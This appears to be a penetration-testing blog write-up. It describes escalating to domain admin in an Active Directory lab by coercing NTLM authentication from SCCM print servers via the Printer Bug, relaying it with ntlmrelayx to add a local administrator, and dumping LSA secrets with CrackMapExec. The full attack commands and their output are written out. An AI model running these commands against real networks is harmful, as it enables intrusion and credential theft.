During a recent internal network penetration testing engagement, a number of common attack paths were unavailable as a number of security mechanisms were implemented such as the Local Administrator Password Solution (LAPS) and the prevention of logged on credentials from being cached in memory. Additionally, the estate had a relatively mature patching process, which reduced the chances of exploitable vulnerabilities allowing for remote compromise. Since traditional exploitation techniques and paths such as re-using a built-in local administrator account or passing the hash of a local administrator would not work, more reconnaissance was required to determine other exploitation avenues.
During the reconnaissance phase, BloodHound was used to map the Active Directory domain and a number of SCCM servers were identified which contained computer accounts which were part of a privileged SCCM administrator group. This group was part of the “Local Administrator” group on 371 systems throughout the client’s environment. The screenshot below show this membership relationship, where a computer account is part of the “SCCM ADMINISTRATOR” group which has local administrator privileges across 371 hosts:
The screenshot below also shows another view in BloodHound where the “AdminTo” path is highlighted from the “SCCM ADMINISTRATOR” group to another server, meaning any users which are part of the “SCCM ADMINISTRATOR” have administrative privileges on that server:
To exploit this particular configuration, there needed to be a way to gain access to these SCCM server computer accounts which were part of the “SCCM ADMINISTRATOR” group. As these SCCM servers were running the print server role, which is used to connect client computers to printers, it was possible to use the “Printer Bug” research carried out by Lee Christensen from SpecterOps where he discovered a bug in the printer server allowing any domain user to coerce any remote server to perform NTLM authentication against an attacker controlled system. An example of this is shown below where an attacker with a low privileged domain account can force a server (SCCMLAB.lab.local) running the print server role to connect back to their SMB server (10.191.5.146) using RPC requests, as shown below:
$ python printerbug.py lab.local/wes:ExampleBl0gPassw0rd! @10.191.6.11 10.191.5.146
[*] Attempting to trigger authentication via rprn RPC at 10.191.6.11 [*] Bind OK [*] Got handle
As the SCCM server computer accounts are part of the “Local Administrator” group on a large number of the systems within this client environment, it was possible to relay the NTLM authentication to log into these systems and perform privileged actions. The following example demonstrates how it was possible to add the user “wes” to the “Local Administrators” group on another server:
$ ntlmrelayx.py -t 10.191.6.13 -smb2support -c “net localgroup Administrators LAB\wes /ADD”
[*] Servers started, waiting for connections [*] SMBD-Thread-3: Received connection from 10.191.6.11, attacking target smb://10.191.6.13 [*] Authenticating against smb://10.191.6.13 as LAB\SCCMLAB$ SUCCEED [*] SMBD-Thread-5: Received connection from 10.191.6.11, attacking target smb://10.191.6.13 [...] [*] Executed specified command on host: 10.191.6.13 The command completed successfully.
Now that the user account “wes” is part of the “Local Administrators” group on the system above it was then possible to perform various traditional actions when attempting to escalate Active Directory privileges such as retrieving LSA secret information in an attempt to compromise a domain administrator account.
$ cme smb 10.191.6.13 -d LAB -u wes -p ExampleBl0gPassw0rd! –lsa
SMB 10.191.6.13 445 SCCMServer1 [*] Windows 6.3 Build 9600 x64 (name:SCCMServer1) (domain:LAB) (signing:False) (SMBv1:False) SMB 10.191.6.13 445 SCCMServer1 [+] LAB\wes:E******************! SMB 10.191.6.13 445 SCCMServer1 [+] Dumping LSA secrets [...] [email protected]:Sup3rStr0ngD0mainAdmin$
The LSA secrets registry key on the compromised server contained a clear text password for the “SCCMADMIN” account. This account was a local administrator on the domain controllers within the “LAB” domain, allowing for privileged tasks such as adding users to the domain administrators group:
